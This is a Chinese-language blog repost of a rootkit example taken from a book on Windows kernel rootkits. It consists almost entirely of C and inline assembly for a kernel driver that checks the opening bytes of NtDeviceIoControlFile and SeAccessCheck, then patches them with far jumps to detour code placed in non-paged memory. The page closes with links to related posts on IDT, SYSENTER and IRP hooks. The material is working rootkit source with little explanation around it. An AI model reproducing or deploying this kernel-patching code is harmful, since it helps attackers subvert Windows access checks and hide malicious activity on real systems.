x86 内核函数detour补丁
来源:互联网 发布:手机淘宝查看卖家信誉 编辑:程序博客网 时间:2024/06/05 16:52
本文和代码来自rootkit——windows内核的安全防护
下面展示一个rootkit示例,可以解释对内核函数的detour补丁
1 #include "ntddk.h" 2 3 NTSYSAPI 4 NTSTATUS 5 NTAPI 6 NtDeviceIoControlFile( 7 IN HANDLE hFile, 8 IN HANDLE hEvent OPTIONAL, 9 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,10 IN PVOID IoApcContext OPTIONAL,11 OUT PIO_STATUS_BLOCK pIoStatusBlock,12 IN ULONG DeviceIoControlCode,13 IN PVOID InBuffer OPTIONAL,14 IN ULONG InBufferLength,15 OUT PVOID OutBuffer OPTIONAL,16 IN ULONG OutBufferLength17 );18 19 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )20 {21 DbgPrint("My Driver Loaded!");22 23 // TODO!! theDriverObject->DriverUnload = OnUnload;24 25 if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())26 {27 DbgPrint("Match Failure on NtDeviceIoControlFile!");28 return STATUS_UNSUCCESSFUL;29 }30 31 if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())32 {33 DbgPrint("Match Failure on SeAccessCheck!");34 return STATUS_UNSUCCESSFUL;35 }36 37 DetourFunctionNtDeviceIoControlFile();38 DetourFunctionSeAccessCheck();39 40 return STATUS_SUCCESS;41 }
检查NtDeviceIoControlFile是否已经被detour了
1 NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() 2 { 3 int i=0; 4 char *p = (char *)NtDeviceIoControlFile; 5 6 //The beginning of the NtDeviceIoControlFile function 7 //should match: 8 //55 PUSH EBP 9 //8BEC MOV EBP, ESP10 //6A01 PUSH 0111 //FF752C PUSH DWORD PTR [EBP + 2C]12 13 char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };14 15 while(i<8)16 {17 DbgPrint(" - 0x%02X ", (unsigned char)p[i]);18 if(p[i] != c[i])19 {20 return STATUS_UNSUCCESSFUL; 21 }22 i++;23 }24 return STATUS_SUCCESS;25 }
这个也同理
1 NTSTATUS CheckFunctionBytesSeAccessCheck() 2 { 3 int i=0; 4 char *p = (char *)SeAccessCheck; 5 6 //The beginning of the SeAccessCheck function 7 //should match: 8 //55 PUSH EBP 9 //8BEC MOV EBP, ESP10 //53 PUSH EBX11 //33DB XOR EBX, EBX12 //385D24 CMP [EBP+24], BL13 char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };14 15 while(i<9)16 {17 DbgPrint(" - 0x%02X ", (unsigned char)p[i]);18 if(p[i] != c[i])19 {20 return STATUS_UNSUCCESSFUL; 21 }22 i++;23 }24 return STATUS_SUCCESS;25 }
1 VOID DetourFunctionSeAccessCheck() 2 { 3 char *actual_function = (char *)SeAccessCheck; 4 char *non_paged_memory; 5 unsigned long detour_address; 6 unsigned long reentry_address; 7 int i = 0; 8 9 // assembles to jmp far 0008:11223344 where 11223344 is address of 10 // our detour function, plus two NOP's to align up the patch 11 char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 }; 12 13 // reenter the hooked function at a location past the overwritten opcodes 14 // alignment is, of course, very important here 15 reentry_address = ((unsigned long)SeAccessCheck) + 9; 16 17 non_paged_memory = ExAllocatePool(NonPagedPool, 256); 18 19 // copy contents of our function into non paged memory 20 // with a cap at 256 bytes (beware of possible read off end of page FIXME) 21 for(i=0;i<256;i++) 22 { 23 ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i]; 24 } 25 26 detour_address = (unsigned long)non_paged_memory; 27 28 // stamp in the target address of the far jmp 29 *( (unsigned long *)(&newcode[1]) ) = detour_address; 30 31 // now, stamp in the return jmp into our detour 32 // function 33 for(i=0;i<200;i++) 34 { 35 if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 36 (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 37 (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 38 (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 39 { 40 // we found the address 0xAAAAAAAA 41 // stamp it w/ the correct address 42 *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; 43 break; 44 } 45 } 46 47 //TODO, raise IRQL 48 49 //overwrite the bytes in the kernel function 50 //to apply the detour jmp 51 for(i=0;i < 9;i++) 52 { 53 actual_function[i] = newcode[i]; 54 } 55 56 //TODO, drop IRQL 57 } 58 59 VOID DetourFunctionNtDeviceIoControlFile() 60 { 61 char *actual_function = (char *)NtDeviceIoControlFile; 62 char *non_paged_memory; 63 unsigned long detour_address; 64 unsigned long reentry_address; 65 int i = 0; 66 67 // assembles to jmp far 0008:11223344 where 11223344 is address of 68 // our detour function, plus one NOP to align up the patch 69 char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 }; 70 71 // reenter the hooked function at a location past the overwritten opcodes 72 // alignment is, of course, very important here 73 reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; 74 75 non_paged_memory = ExAllocatePool(NonPagedPool, 256); 76 77 // copy contents of our function into non paged memory 78 // with a cap at 256 bytes (beware of possible read off end of page FIXME) 79 for(i=0;i<256;i++) 80 { 81 ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; 82 } 83 84 detour_address = (unsigned long)non_paged_memory; 85 86 // stamp in the target address of the far jmp 87 *( (unsigned long *)(&newcode[1]) ) = detour_address; 88 89 // now, stamp in the return jmp into our detour 90 // function 91 for(i=0;i<200;i++) 92 { 93 if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 94 (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 95 (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 96 (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 97 { 98 // we found the address 0xAAAAAAAA 99 // stamp it w/ the correct address100 *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;101 break;102 }103 }104 105 //TODO, raise IRQL106 107 //overwrite the bytes in the kernel function108 //to apply the detour jmp109 for(i=0;i < 8;i++)110 {111 actual_function[i] = newcode[i];112 }113 114 //TODO, drop IRQL115 }116 117 VOID UnDetourFunction()118 {119 //TODO!120 }121 122 VOID OnUnload( IN PDRIVER_OBJECT DriverObject )123 {124 DbgPrint("My Driver Unloaded!");125 126 UnDetourFunction();127 }
使用(naked)是强制编译器使该函数体内部只有这些指令
1 // naked functions have no prolog/epilog code - they are functionally like the 2 // target of a goto statement 3 __declspec(naked) my_function_detour_seaccesscheck() 4 { 5 __asm 6 { 7 // exec missing instructions 8 push ebp 9 mov ebp, esp10 push ebx11 xor ebx, ebx12 cmp [ebp+24], bl13 14 // jump to re-entry location in hooked function15 // this gets 'stamped' with the correct address16 // at runtime.17 //18 // we need to hard-code a far jmp, but the assembler19 // that comes with the DDK will not poop this out20 // for us, so we code it manually21 // jmp FAR 0x08:0xAAAAAAAA22 _emit 0xEA23 _emit 0xAA24 _emit 0xAA25 _emit 0xAA26 _emit 0xAA27 _emit 0x0828 _emit 0x0029 }30 }31 32 // We read this function into non-paged memory33 // before we place the detour. It seems that the34 // driver code gets paged now and then, which is bad35 // for children and other living things.36 __declspec(naked) my_function_detour_ntdeviceiocontrolfile()37 {38 __asm39 { 40 // exec missing instructions41 push ebp42 mov ebp, esp43 push 0x0144 push dword ptr [ebp+0x2C]45 46 // jump to re-entry location in hooked function47 // this gets 'stamped' with the correct address48 // at runtime.49 //50 // we need to hard-code a far jmp, but the assembler51 // that comes with the DDK will not poop this out52 // for us, so we code it manually53 // jmp FAR 0x08:0xAAAAAAAA54 _emit 0xEA55 _emit 0xAA56 _emit 0xAA57 _emit 0xAA58 _emit 0xAA59 _emit 0x0860 _emit 0x0061 }62 }
0 0
- x86 内核函数detour补丁
- 读书笔记_Rootkit技术之detour补丁
- Detour
- Detour
- Detour
- Detour
- Detour
- detour
- x86内核
- 内核和lustre补丁
- linux内核实时补丁
- gentoo中文内核补丁
- 如何提交内核补丁
- linux 内核热补丁
- Linux 内核补丁测试
- Linux内核补丁升级
- Linux内核安装补丁
- x86 64 内核堆栈
- 构建高并发高可用的电商平台架构实践
- x86 IDT HOOK
- x86 SYSENTER HOOK
- x86 IRP HOOK
- Spring框架,使用ModelMap传值,jsp无法获取!
- x86 内核函数detour补丁
- x86 混合式钩子
- 结构体与共用体的妙用
- 回溯法解决八皇后问题
- linux 硬盘空间查看常用命令
- 在一个字符串中找到第一个只出现一次的字符
- WH_CBT监控有窗体的进程创建
- 线程及Java中的线程Thread的基本知识
- 如何修改dmesg log buffer size